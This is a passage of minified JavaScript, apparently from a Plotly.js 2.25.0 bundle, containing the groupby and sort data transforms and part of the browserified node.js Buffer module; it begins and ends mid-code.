y=s[r]={};M.coerce(u[r],s[r],Z.attributes.styles,"target");var c=M.coerce(u[r],s[r],Z.attributes.styles,"value");M.isPlainObject(c)?y.value=M.extendDeep({},c):c&&delete y.value}return f},Z.transform=function(d,g){var t,r,f,a=[];for(r=0;r<d.length;r++)for(t=S(d[r],g),f=0;f<t.length;f++)a.push(t[f]);return a};function S(d,g){var t,r,f,a,l,u,s,y,c,b,h=g.transform,i=g.transformIndex,v=d.transforms[i].groups,T=L(d.transforms,h);if(!M.isArrayOrTypedArray(v)||v.length===0)return[d];var w=M.filterUnique(v),E=new Array(w.length),p=v.length,A=P.findArrayAttributes(d),m=h.styles||[],n={};for(t=0;t<m.length;t++)n[m[t].target]=m[t].value;h.styles&&(b=M.keyedContainer(h,"styles","target","value.name"));var C={},x={};for(t=0;t<w.length;t++){u=w[t],C[u]=t,x[u]=0,s=E[t]=M.extendDeepNoArrays({},d),s._group=u,s.transforms[i]._indexToPoints={};var I=null;for(b&&(I=b.get(u)),I||I===""?s.name=I:s.name=M.templateString(h.nameformat,{trace:d.name,group:u}),y=s.transforms,s.transforms=[],r=0;r<y.length;r++)s.transforms[r]=M.extendDeepNoArrays({},y[r]);for(r=0;r<A.length;r++)M.nestedProperty(s,A[r]).set([])}for(f=0;f<A.length;f++){for(a=A[f],r=0,c=[];r<w.length;r++)c[r]=M.nestedProperty(E[r],a).get();for(l=M.nestedProperty(d,a).get(),r=0;r<p;r++)c[C[v[r]]].push(l[r])}for(r=0;r<p;r++){s=E[C[v[r]]];var k=s.transforms[i]._indexToPoints;k[x[v[r]]]=T(r),x[v[r]]++}for(t=0;t<w.length;t++)u=w[t],s=E[t],o.clearExpandedTraceDefaultColors(s),s=M.extendDeepNoArrays(s,n[u]||{});return E}},79344:function(te,Z){Z.p=function(e,M){for(var P,o,L=0;L<e.length&&(P=e[L],P!==M);L++)!P._indexToPoints||P.enabled===!1||(o=P._indexToPoints);var S=o?function(d){return o[d]}:function(d){return[d]};return S}},32275:function(te,Z,e){var M=e(71828),P=e(89298),o=e(79344).p,L=e(50606).BADNUM;Z.moduleType="transform",Z.name="sort",Z.attributes={enabled:{valType:"boolean",dflt:!0,editType:"calc"},target:{valType:"string",strict:!0,noBlank:!0,arrayOk:!0,dflt:"x",editType:"calc"},order:{valType:"enumerated",values:["ascending","descending"],dflt:"ascending",editType:"calc"},editType:"calc"},Z.supplyDefaults=function(g){var t={};function r(a,l){return M.coerce(g,t,Z.attributes,a,l)}var f=r("enabled");return f&&(r("target"),r("order")),t},Z.calcTransform=function(g,t,r){if(r.enabled){var f=M.getTargetArray(t,r);if(f){var a=r.target,l=f.length;t._length&&(l=Math.min(l,t._length));var u=t._arrayAttrs,s=P.getDataToCoordFunc(g,t,a,f),y=S(r,f,s,l),c=o(t.transforms,r),b={},h,i;for(h=0;h<u.length;h++){var v=M.nestedProperty(t,u[h]),T=v.get(),w=new Array(l);for(i=0;i<l;i++)w[i]=T[y[i]];v.set(w)}for(i=0;i<l;i++)b[i]=c(y[i]);r._indexToPoints=b,t._length=l}}};function S(g,t,r,f){var a=new Array(f),l=new Array(f),u;for(u=0;u<f;u++)a[u]={v:t[u],i:u};for(a.sort(d(g,r)),u=0;u<f;u++)l[u]=a[u].i;return l}function d(g,t){switch(g.order){case"ascending":return function(r,f){var a=t(r.v),l=t(f.v);return a===L?1:l===L?-1:a-l};case"descending":return function(r,f){var a=t(r.v),l=t(f.v);return a===L?1:l===L?-1:l-a}}}},11506:function(te,Z){Z.version="2.25.0"},9330:function(te,Z,e){var M=e(90386);(function(o,L){te.exports=L()})(self,function(){return function(){var P={7386:function(d,g,t){d.exports={alpha_shape:t(2350),convex_hull:t(5537),delaunay_triangulate:t(4419),gl_cone3d:t(1140),gl_error3d:t(3110),gl_heatmap2d:t(6386),gl_line3d:t(6086),gl_mesh3d:t(8116),gl_plot2d:t(2117),gl_plot3d:t(1059),gl_pointcloud2d:t(8271),gl_scatter3d:t(2182),gl_select_box:t(6623),gl_spikes2d:t(3050),gl_streamtube3d:t(7307),gl_surface3d:t(3754),ndarray:t(5050),ndarray_linear_interpolate:t(3581)}},2146:function(d,g,t){/*!
* The buffer module from node.js, for the browser.
*
* @author   Feross Aboukhadijeh <https://feross.org>
* @license  MIT
*/function r(ye,ae){if(!(ye instanceof ae))throw new TypeError("Cannot call a class as a function")}function f(ye,ae){for(var de=0;de<ae.length;de++){var Me=ae[de];Me.enumerable=Me.enumerable||!1,Me.configurable=!0,"value"in Me&&(Me.writable=!0),Object.defineProperty(ye,Me.key,Me)}}function a(ye,ae,de){return ae&&f(ye.prototype,ae),Object.defineProperty(ye,"prototype",{writable:!1}),ye}function l(ye,ae){if(typeof ae!="function"&&ae!==null)throw new TypeError("Super expression must either be null or a function");ye.prototype=Object.create(ae&&ae.prototype,{constructor:{value:ye,writable:!0,configurable:!0}}),Object.defineProperty(ye,"prototype",{writable:!1}),ae&&u(ye,ae)}function u(ye,ae){return u=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(Me,Ie){return Me.__proto__=Ie,Me},u(ye,ae)}function s(ye){var ae=b();return function(){var Me=h(ye),Ie;if(ae){var Qe=h(this).constructor;Ie=Reflect.construct(Me,arguments,Qe)}else Ie=Me.apply(this,arguments);return y(this,Ie)}}function y(ye,ae){if(ae&&(i(ae)==="object"||typeof ae=="function"))return ae;if(ae!==void 0)throw new TypeError("Derived constructors may only return object or undefined");return c(ye)}function c(ye){if(ye===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return ye}function b(){if(typeof Reflect>"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function h(ye){return h=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(de){return de.__proto__||Object.getPrototypeOf(de)},h(ye)}function i(ye){"@babel/helpers - typeof";return i=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(ae){return typeof ae}:function(ae){return ae&&typeof Symbol=="function"&&ae.constructor===Symbol&&ae!==Symbol.prototype?"symbol":typeof ae},i(ye)}var v=t(3910),T=t(3187),w=typeof Symbol=="function"&&typeof Symbol.for=="function"?Symbol.for("nodejs.util.inspect.custom"):null;g.lW=m,g.h2=50;var E=2147483647;m.TYPED_ARRAY_SUPPORT=p(),!m.TYPED_ARRAY_SUPPORT&&typeof console<"u"&&typeof console.error=="function"&&console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support.");function p(){try{var ye=new Uint8Array(1),ae={foo:function(){return 42}};return Object.setPrototypeOf(ae,Uint8Array.prototype),Object.setPrototypeOf(ye,ae),ye.foo()===42}catch{return!1}}Object.defineProperty(m.prototype,"parent",{enumerable:!0,get:function(){if(m.isBuffer(this))return this.buffer}}),Object.defineProperty(m.prototype,"offset",{enumerable:!0,get:function(){if(m.isBuffer(this))return this.byteOffset}});function A(ye){if(ye>E)throw new RangeError('The value "'+ye+'" is invalid for option "size"');var ae=new Uint8Array(ye);return Object.setPrototypeOf(ae,m.prototype),ae}function m(ye,ae,de){if(typeof ye=="number"){if(typeof ae=="string")throw new TypeError('The "string" argument must be of type string. Received type number');return I(ye)}return n(ye,ae,de)}m.poolSize=8192;function n(ye,ae,de){if(typeof ye=="string")return k(ye,ae);if(ArrayBuffer.isView(ye))return _(ye);if(ye==null)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+i(ye));if(Ge(ye,ArrayBuffer)||ye&&Ge(ye.buffer,ArrayBuffer)||typeof SharedArrayBuffer<"u"&&(Ge(ye,SharedArrayBuffer)||ye&&Ge(ye.buffer,SharedArrayBuffer)))return F(ye,ae,de);if(typeof ye=="number")throw new TypeError('The "value" argument must not be of type number. Received type number');var Me=ye.valueOf&&ye.valueOf();if(Me!=null&&Me!==ye)return m.from(Me,ae,de);var Ie=O(ye);if(Ie)return Ie;if(typeof Symbol<"u"&&Symbol.toPrimitive!=null&&typeof ye[Symbol.toPrimitive]=="function")return m.from(ye[Symbol.toPrimitive]("string"),ae,de);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+i(ye))}m.from=function(ye,ae,de){return n(ye,ae,de)},Object.setPrototypeOf(m.prototype,Uint8Array.prototype),Object.setPrototypeOf(m,Uint8Array);function C(ye){if(typeof ye!="number")throw new TypeError('"size" argument must be of type number');if(ye<0)throw new RangeError('The value "'+ye+'" is invalid for option "size"')}function x(ye,ae,de){return C(ye),ye<=0?A(ye):ae!==void 0?typeof de=="string"?A(ye).fill(ae,de):A(ye).fill(ae):A(ye)}m.alloc=function(ye,ae,de){return x(ye,ae,de)};function I(ye){return C(ye),A(ye<0?0:z(ye)|0)}m.allocUnsafe=function(ye){return I(ye)},m.allocUnsafeSlow=function(ye){return I(ye)};function k(ye,ae){if((typeof ae!="string"||ae==="")&&(ae="utf8"),!m.isEncoding(ae))throw new TypeError("Unknown encoding: "+ae);var de=N(ye,ae)|0,Me=A(de),Ie=Me.write(ye,ae);return Ie!==de&&(Me=Me.slice(0,Ie)),Me}function B(ye){for(var ae=ye.length<0?0:z(ye.length)|0,de=A(ae),Me=0;Me<ae;Me+=1)de[Me]=ye[Me]&255;return de}function _(ye){if(Ge(ye,Uint8Array)){var ae=new Uint8Array(ye);return F(ae.buffer,ae.byteOffset,ae.byteLength)}return B(ye)}function F(ye,ae,de){if(ae<0||ye.byteLength<ae)throw new RangeError('"offset" is outside of buffer bounds');if(ye.byteLength<ae+(de||0))throw new RangeError('"length" is outside of buffer bounds');var Me;return ae===void 0&&de===void 0?Me=new Uint8Array(ye):de===void 0?Me=new Uint8Array(ye,ae):Me=new Uint8Array(ye,ae,de),Object.setPrototypeOf(Me,m.prototype),Me}function O(ye){if(m.isBuffer(ye)){var ae=z(ye.length)|0,de=A(ae);return de.length===0||ye.copy(de,0,0,ae),de}if(ye.length!==void 0)return typeof ye.length!="number"||Le(ye.length)?A(0):B(ye);if(ye.type==="Buffer"&&Array.isArray(ye.data))return B(ye.data)}function z(ye){if(ye>=E)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+E.toString(16)+" bytes");return ye|0}m.isBuffer=function(ae){return ae!=null&&ae._isBuffer===!0&&ae!==m.prototype},m.compare=function(ae,de){if(Ge(ae,Uint8Array)&&(ae=m.from(ae,ae.offset,ae.byteLength)),Ge(de,Uint8Array)&&(de=m.from(de,de.offset,de.byteLength)),!m.isBuffer(ae)||!m.isBuffer(de))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(ae===de)return 0;for(var Me=ae.length,Ie=de.length,Qe=0,et=Math.min(Me,Ie);Qe<et;++Qe)if(ae[Qe]!==de[Qe]){Me=ae[Qe],Ie=de[Qe];break}return Me<Ie?-1:Ie<Me?1:0},m.isEncoding=function(ae){switch(String(ae).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},m.concat=function(ae,de){if(!Array.isArray(ae))throw new TypeError('"list" argument must be an Array of Buffers');if(ae.length===0)return m.alloc(0);var Me;if(de===void 0)for(de=0,Me=0;Me<ae.length;++Me)de+=ae[Me].length;var Ie=m.allocUnsafe(de),Qe=0;for(Me=0;Me<ae.length;++Me){var et=ae[Me];if(Ge(et,Uint8Array))Qe+et.length>Ie.length?(m.isBuffer(et)||(et=m.from(et)),et.copy(Ie,Qe)):Uint8Array.prototype.set.call(Ie,et,Qe);else if(m.isBuffer(et))et.copy(Ie,Qe);else throw new TypeError('"list" argument must be an Array of Buffers');Qe+=et.length}return Ie};function N(ye,ae){if(m.isBuffer(ye))return ye.length;if(ArrayBuffer.isView(ye)||Ge(ye,ArrayBuffer))return ye.byteLength;if(typeof ye!="string")throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+i(ye));var de=ye.length,Me=arguments.length>2&&arguments[2]===!0;if(!Me&&de===0)return 0;for(var Ie=!1;;)switch(ae){case"ascii":case"latin1":case"binary":return de;case"utf8":case"utf-8":return lt(ye).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return de*2;case"hex":return de>>>1;case"base64":return bt(ye).length;default:if(Ie)return Me?-1:lt(ye).length;ae=(""+ae).toLowerCase(),Ie=!0}}m.byteLength=N;function G(ye,ae,de){var Me=!1;if((ae===void 0||ae<0)&&(ae=0),ae>this.length||((de===void 0||de>this.length)&&(de=this.length),de<=0)||(de>>>=0,ae>>>=0,de<=ae))return"";for(ye||(ye="utf8");;)switch(ye){case"hex":return le(this,ae,de);case"utf8":case"utf-8":return ie(this,ae,de);case"ascii":return oe(this,ae,de);case"latin1":case"binary":return re(this,ae,de);case"base64":return Q(this,ae,de);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return pe(this,ae,de);default:if(Me)throw new TypeError("Unknown encoding: "+ye);ye=(ye+"").toLowerCase(),Me=!0}}m.prototype._isBuffer=!0;function J(ye,ae,de){var Me=ye[ae];ye[ae]=ye[de],ye[de]=Me}m.prototype.swap16=function(){var ae=this.length;if(ae%2!==0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(var de=0;de<ae;de+=2)J(this,de,de+1);return this},m.prototype.swap32=function(){var ae=this.length;if(ae%4!==0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(var de=0;de<ae;de+=4)J(this,de,de+3),J(this,de+1,de+2);return this},m.prototype.swap64=function(){var ae=this.length;if(ae%8!==0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(var de=0;de<ae;de+=8)J(this,de,de+7),J(this,de+1,de+6),J(this,de+2,de+5),J(this,de+3,de+4);return this},m.prototype.toString=function(){var ae=this.length;return ae===0?"":arguments.length===0?ie(this,0,ae):G.apply(this,arguments)},m.prototype.toLocaleString=m.prototype.toString,m.prototype.equals=function(ae){if(!m.isBuffer(ae))throw new TypeError("Argument must be a Buffer");return this===ae?!0:m.compare(this,ae)===0},m.prototype.inspect=function(){var ae="",de=g.h2;return ae=this.toString("hex",0,de).replace(/(.{2})/g,"$1 ").trim(),this.length>de&&(ae+=" ... "),"<Buffer "+ae+">"},w&&(m.prototype[w]=m.prototype.inspect),m.prototype.compare=function(ae,de,Me,Ie,Qe){if(Ge(ae,Uint8Array)&&(ae=m.from(ae,ae.offset,ae.byteLength)),!m.isBuffer(ae))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+i(ae));if(de===void 0&&(de=0),Me===void 0&&(Me=ae?ae.length:0),Ie===void 0&&(Ie=0),Qe===void 0&&(Qe=this.length),de<0||Me>ae.length||Ie<0||Qe>this.length)throw new RangeError("out of range index");if(Ie>=Qe&&de>=Me)return 0;if(Ie>=Qe)return-1;if(de>=Me)return 1;if(de>>>=0,Me>>>=0,Ie>>>=0,Qe>>>=0,this===ae)return 0;for(var et=Qe-Ie,pt=Me-de,St=Math.min(et,pt),_t=this.slice(Ie,Qe),Ft=ae.slice(de,Me),Tt=0;Tt<St;++Tt)if(_t[Tt]!==Ft[Tt]){et=_t[Tt],pt=Ft[Tt];break}return et<pt?-1:pt<et?1:0};function q(ye,ae,de,Me,Ie){if(ye.length===0)return-1;if(typeof de=="string"?(Me=de,de=0):de>2147483647?de=2147483647:de<-2147483648&&(de=-2147483648),de=+de,Le(de)&&(de=Ie?0:ye.length-1),de<0&&(de=ye.length+de),de>=ye.length){if(Ie)return-1;de=ye.length-1}else if(de<0)if(Ie)de=0;else return-1;if(typeof ae=="string"&&(ae=m.from(ae,Me)),m.isBuffer(ae))return ae.length===0?-1:ne(ye,ae,de,Me,Ie);if(typeof ae=="number")return ae=ae&255,typeof Uint8Array.prototype.indexOf=="function"?Ie?Uint8Array.prototype.indexOf.call(ye,ae,de):Uint8Array.prototype.lastIndexOf.call(ye,ae,de):ne(ye,[ae],de,Me,Ie);throw new TypeError("val must be string, number or Buffer")}function ne(ye,ae,de,Me,Ie){var Qe=1,et=ye.length,pt=ae.length;if(Me!==void 0&&(Me=String(Me).toLowerCase(),Me==="ucs2"||Me==="ucs-2"||Me==="utf16le"||Me==="utf-16le")){if(ye.length<2||ae.length<2)return-1;Qe=2,et/=2,pt/=2,de/=2}function St(er,Pr){return Qe===1?er[Pr]:er.readUInt16BE(Pr*Qe)}var _t;if(Ie){var Ft=-1;for(_t=de;_t<et;_t++)if(St(ye,_t)===St(ae,Ft===-1?0:_t-Ft)){if(Ft===-1&&(Ft=_t),_t-Ft+1===pt)return Ft*Qe}else Ft!==-1&&(_t-=_t-Ft),Ft=-1}else for(de+pt>et&&(de=et-pt),_t=de;_t>=0;_t--){for(var Tt=!0,Gt=0;Gt<pt;Gt++)if(St(ye,_t+Gt)!==St(ae,Gt)){Tt=!1;break}if(Tt)return _t}return-1}m.prototype.includes=function(ae,de,Me){return this.indexOf(ae,de,Me)!==-1},m.prototype.indexOf=function(ae,de,Me){return q(this,ae,de,Me,!0)},m.prototype.lastIndexOf=function(ae,de,Me){return q(this,ae,de,Me,!1)};function fe(ye,ae,de,Me){de=Number(de)||0;var Ie=ye.length-de;Me?(Me=Number(Me),Me>Ie&&(Me=Ie)):Me=Ie;var Qe=ae.length;Me>Qe/2&&(Me=Qe/2);var et;for(et=0;et<Me;++et){var pt=parseInt(ae.substr(et*2,2),16);if(Le(pt))return et;ye[de+et]=pt}return et}function X(ye,ae,de,Me){return Ot(lt(ae,ye.length-de),ye,de,Me)}function W(ye,ae,de,Me){return Ot(ut(ae),ye,de,Me)}function V(ye,ae,de,Me){return Ot(bt(ae),ye,de,Me)}function Y(ye,ae,de,Me){return Ot(yt(ae,ye.length-de),ye,de,Me)}m.prototype.write=function(ae,de,Me,Ie){if(de===void 0)Ie="utf8",Me=this.length,de=0;else if(Me===void 0&&typeof de=="string")Ie=de,Me=this.length,de=0;else if(isFinite(de))de=de>>>0,isFinite(Me)?(Me=Me>>>0,Ie===void 0&&(Ie="utf8")):(Ie=Me,Me=void 0);else throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");var Qe=this.length-de;if((Me===void 0||Me>Qe)&&(Me=Qe),ae.length>0&&(Me<0||de<0)||de>this.length)throw new RangeError("Attempt to write outside buffer bounds");Ie||(Ie="utf8");for(var et=!1;;)switch(Ie){case"hex":return fe(this,ae,de,Me);case"utf8":case"utf-8":return X(this,ae,de,Me);case"ascii":case"latin1":case"binary":return W(this,ae,de,Me);case"base64":return V(this,ae,de,Me);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return Y(this,ae,de,Me);default:if(et)throw new TypeError("Unknown encoding: "+Ie);Ie=(""+Ie).toLowerCase(),et=!0}},m.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function Q(ye,ae,de){return ae===0&&de===ye.length?v.fromByteArray(ye):v.fromByteArray(ye.slice(ae,de))}function ie(ye,ae,de){de=Math.min(ye.length,de);for(var Me=[],Ie=ae;Ie<de;){var Qe=ye[Ie],et=null,pt=Qe>239?4:Qe>223?3:Qe>191?2:1;if(Ie+pt<=de){var St=void 0,_t=void 0,Ft=void 0,Tt=void 0;switch(pt){case 1:Qe<128&&(et=Qe);break;case 2:St=ye[Ie+1],(St&192)===128&&(Tt=(Qe&31)<<6|St&63,Tt>127&&(et=Tt));break;case 3:St=ye[Ie+1],_t=ye[Ie+2],(St&192)===128&&(_t&192)===128&&(Tt=(Qe&15)<<12|(St&63)<<6|_t&63,Tt>2047&&(Tt<55296||Tt>57343)&&(et=Tt));break;case 4:St=ye[Ie+1],_t=ye[Ie+2],Ft=ye[Ie+3],(St&192)===128&&(_t&192)===128&&(Ft&192)===128&&(Tt=(Qe&15)<<18|(St&63)<<12|(_t&63)<<6|Ft&63,Tt>65535&&Tt<1114112&&(et=Tt))}}et===null?(et=65533,pt=1):et>65535&&(et-=65536,Me.push(et>>>10&1023|55296),et=56320|et&1023),Me.push(et),Ie+=pt}return K(Me)}var j=4096;function K(ye){var ae=ye.length;if(ae<=j)return String.fromCharCode.apply(String,ye);for(var de="",Me=0;Me<ae;)de+=String.fromCharCode.apply(String,ye.slice(Me,Me+=j));return de}function oe(ye,ae,de){var Me="";de=Math.min(ye.length,de);for(var Ie=ae;Ie<de;++Ie)Me+=String.fromCharCode(ye[Ie]&127);return Me}function re(ye,ae,de){var Me="";de=Math.min(ye.length,de);for(var Ie=ae;Ie<de;++Ie)Me+=String.fromCharCode(ye[Ie]);return Me}function le(ye,ae,de){var Me=ye.length;(!ae||ae<0)&&(ae=0),(!de||de<0||de>Me)&&(de=Me);for(var Ie="",Qe=ae;Qe<de;++Qe)Ie+=Pe[ye[Qe]];return Ie}function pe(ye,ae,de){for(var Me=ye.slice(ae,de),Ie="",Qe=0;Qe<Me.length-1;Qe+=2)Ie+=String.fromCharCode(Me[Qe]+Me[Qe+1]*256);return Ie}m.prototype.slice=function(ae,de){var Me=this.length;ae=~~ae,de=de===void 0?Me:~~de,ae<0?(ae+=Me,ae<0&&(ae=0)):ae>Me&&(ae=Me),de<0?(de+=Me,de<0&&(de=0)):de>Me&&(de=Me),de<ae&&(de=ae);var Ie=this.subarray(ae,de);return Object.setPrototypeOf(Ie,m.prototype),Ie};function we(ye,ae,de){if(ye%1!==0||ye<0)throw new RangeError("offset is not uint");if(ye+ae>de)throw new RangeError("Trying to access beyond buffer length")}m.prototype.readUintLE=m.prototype.readUIntLE=function(ae,de,Me){ae=ae>>>0,de=de>>>0,Me||we(ae,de,this.length);for(var Ie=this[ae],Qe=1,et=0;++et<de&&(Qe*=256);)Ie+=this[ae+et]*Qe;return Ie},m.prototype.readUintBE=m.prototype.readUIntBE=function(ae,de,Me){ae=ae>>>0,de=de>>>0,Me||we(ae,de,this.length);for(var Ie=this[ae+--de],Qe=1;de>0&&(Qe*=256);)Ie+=this[ae+--de]*Qe;return Ie},m.prototype.readUint8=m.prototype.readUInt8=function(ae,de){return ae=ae>>>0,de||we(ae,1,this.length),this[ae]},m.prototype.readUint16LE=m.prototype.readUInt16LE=function(ae,de){return ae=ae>>>0,de||we(ae,2,this.length),this[ae]|this[ae+1]<<8},m.prototype.readUint16BE=m.prototype.readUInt16BE=function(ae,de){return ae=ae>>>0,de||we(ae,2,this.length),this[ae]<<8|this[ae+1]},m.prototype.readUint32LE=m.prototype.readUInt32LE=function(ae,de){return ae=ae>>>0,de||we(ae,4,this.length),(this[ae]|this[ae+1]<<8|this[ae+2]<<16)+this[ae+3]*16777216},m.prototype.readUint32BE=m.prototype.readUInt32BE=function(ae,de){return ae=ae>>>0,de||we(ae,4,this.length),this[ae]*16777216+(this[ae+1]<<16|this[ae+2]<<8|this[ae+3])},m.prototype.readBigUInt64LE=De(function(ae){ae=ae>>>0,Xe(ae,"offset");var de=this[ae],Me=this[ae+7];(de===void 0||Me===void 0)&&Ze(ae,this.length-8);var Ie=de+this[++ae]*Math.pow(2,8)+this[++ae]*Math.pow(2,16)+this[++ae]*Math.pow(2,24),Qe=this[++ae]+this[++ae]*Math.pow(2,8)+this[++ae]*Math.pow(2,16)+Me*Math.pow(2,24);return BigInt(Ie)+(BigInt(Qe)<<BigInt(32))}),m.prototype.readBigUInt64BE=De(function(ae){ae=ae>>>0,Xe(ae,"offset");var de=this[ae],Me=this[ae+7];(de===void 0||Me===void 0)&&Ze(ae,this.length-8);var Ie=de*Math.pow(2,24)+this[++ae]*Math.pow(2,16)+this[++ae]*Math.pow(2,8)+this[++ae],Qe=this[++ae]*Math.pow(2,24)+this[++ae]*Math.pow(2,16)+this[++ae]*Math.pow(2,8)+Me;return(BigInt(Ie)<<BigInt(32))+BigInt(Qe)}),m.prototype.readIntLE=function(ae,de,Me){ae=ae>>>0,de=de>>>0,Me||we(ae,de,this.length);for(var Ie=this[ae],Qe=1,et=0;++et<de&&(Qe*=256);)Ie+=this[ae+et]*Qe;return Qe*=128,Ie>=Qe&&(Ie-=Math.pow(2,8*de)),Ie},m.prototype.readIntBE=function(ae,de,Me){ae=ae>>>0,de=de>>>0,Me||we(ae,de,this.length);for(var Ie=de,Qe=1,et=this[ae+--Ie];Ie>0&&(Qe*=256);)et+=this[ae+--Ie]*Qe;return Qe*=128,et>=Qe&&(et-=Math.pow(2,8*de)),et},m.prototype.readInt8=function(ae,de){return ae=ae>>>0,de||we(ae,1,this.length),this[ae]&128?(255-this[ae]+1)*-1:this[ae]},m.prototype.readInt16LE=function(ae,de){ae=ae>>>0,de||we(ae,2,this.length);var Me=this[ae]|this[ae+1]<<8;return Me&32768?Me|4294901760:Me},m.prototype.readInt16BE=function(ae,de){ae=ae>>>0,de||we(ae,2,this.length);var Me=this[ae+1]|this[ae]<<8;return Me&32768?Me|4294901760:Me},m.prototype.readInt32LE=function(ae,de){return ae=ae>>>0,de||we(ae,4,this.length),this[ae]|this[ae+1]<<8|this[ae+2]<<16|this[ae+3]<<24},m.prototype.readInt32BE=function(ae,de){return ae=ae>>>0,de||we(ae,4,this.length),this[ae]<<24|this[ae+1]<<16|this[ae+2]<<8|this[ae+3]},m.prototype.readBigInt64LE=De(function(ae){ae=ae>>>0,Xe(ae,"offset");var de=this[ae],Me=this[ae+7];(de===void 0||Me===void 0)&&Ze(ae,this.length-8);var Ie=this[ae+4]+this[ae+5]*Math.pow(2,8)+this[ae+6]*Math.pow(2,16)+(Me<<24);return(BigInt(Ie)<<BigInt(32))+BigInt(de+this[++ae]*Math.pow(2,8)+this[++ae]*Math.pow(2,16)+this[++ae]*Math.pow(2,24))}),m.prototype.readBigInt64BE=De(function(ae){ae=ae>>>0,Xe(ae,"offset");var de=this[ae],Me=this[ae+7];(de===void 0||Me===void 0)&&Ze(ae,this.length-8);var Ie=(de<<24)+this[++ae]*Math.pow(2,16)+this[++ae]*Math.pow(2,8)+this[++ae];return(BigInt(Ie)<<BigInt(32))+BigInt(this[++ae]*Math.pow(2,24)+this[++ae]*Math.pow(2,16)+this[++ae]*Math.pow(2,8)+Me)}),m.prototype.readFloatLE=function(ae,de){return ae=ae>>>0,de||we(ae,4,this.length),T.read(this,ae,!0,23,4)},m.prototype.readFloatBE=function(ae,de){return ae=ae>>>0,de||we(ae,4,this.length),T.read(this,ae,!1,23,4)},m.prototype.readDoubleLE=function(ae,de){return ae=ae>>>0,de||we(ae,8,this.length),T.read(this,ae,!0,52,8)},m.prototype.readDoubleBE=function(ae,de){return ae=ae>>>0,de||we(ae,8,this.length),T.read(this,ae,!1,52,8)};function xe(ye,ae,de,Me,Ie,Qe){if(!m.isBuffer(ye))throw new TypeError('"buffer" argument must be a Buffer instance');if(ae>Ie||ae<Qe)throw new RangeError('"value" argument is out of bounds');if(de+Me>ye.length)throw new RangeError("Index out of range")}m.prototype.writeUintLE=m.prototype.writeUIntLE=function(ae,de,Me,Ie){if(ae=+ae,de=de>>>0,Me=Me>>>0,!Ie){var Qe=Math.pow(2,8*Me)-1;xe(this,ae,de,Me,Qe,0)}var et=1,pt=0;for(this[de]=ae&255;++pt<Me&&(et*=256);)this[de+pt]=ae/et&255;return de+Me},m.prototype.writeUintBE=m.prototype.writeUIntBE=function(ae,de,Me,Ie){if(ae=+ae,de=de>>>0,Me=Me>>>0,!Ie){var Qe=Math.pow(2,8*Me)-1;xe(this,ae,de,Me,Qe,0)}var et=Me-1,pt=1;for(this[de+et]=ae&255;--et>=0&&(pt*=256);)this[de+et]=ae/pt&255;return de+Me},m.prototype.writeUint8=m.prototype.writeUInt8=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,1,255,0),this[de]=ae&255,de+1},m.prototype.writeUint16LE=m.prototype.writeUInt16LE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,2,65535,0),this[de]=ae&255,this[de+1]=ae>>>8,de+2},m.prototype.writeUint16BE=m.prototype.writeUInt16BE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,2,65535,0),this[de]=ae>>>8,this[de+1]=ae&255,de+2},m.prototype.writeUint32LE=m.prototype.writeUInt32LE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,4,4294967295,0),this[de+3]=ae>>>24,this[de+2]=ae>>>16,this[de+1]=ae>>>8,this[de]=ae&255,de+4},m.prototype.writeUint32BE=m.prototype.writeUInt32BE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,4,4294967295,0),this[de]=ae>>>24,this[de+1]=ae>>>16,this[de+2]=ae>>>8,this[de+3]=ae&255,de+4};function ke(ye,ae,de,Me,Ie){$e(ae,Me,Ie,ye,de,7);var Qe=Number(ae&BigInt(4294967295));ye[de++]=Qe,Qe=Qe>>8,ye[de++]=Qe,Qe=Qe>>8,ye[de++]=Qe,Qe=Qe>>8,ye[de++]=Qe;var et=Number(ae>>BigInt(32)&BigInt(4294967295));return ye[de++]=et,et=et>>8,ye[de++]=et,et=et>>8,ye[de++]=et,et=et>>8,ye[de++]=et,de}function _e(ye,ae,de,Me,Ie){$e(ae,Me,Ie,ye,de,7);var Qe=Number(ae&BigInt(4294967295));ye[de+7]=Qe,Qe=Qe>>8,ye[de+6]=Qe,Qe=Qe>>8,ye[de+5]=Qe,Qe=Qe>>8,ye[de+4]=Qe;var et=Number(ae>>BigInt(32)&BigInt(4294967295));return ye[de+3]=et,et=et>>8,ye[de+2]=et,et=et>>8,ye[de+1]=et,et=et>>8,ye[de]=et,de+8}m.prototype.writeBigUInt64LE=De(function(ae){var de=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return ke(this,ae,de,BigInt(0),BigInt("0xffffffffffffffff"))}),m.prototype.writeBigUInt64BE=De(function(ae){var de=arguments.length>1&&arguments[1]!==void 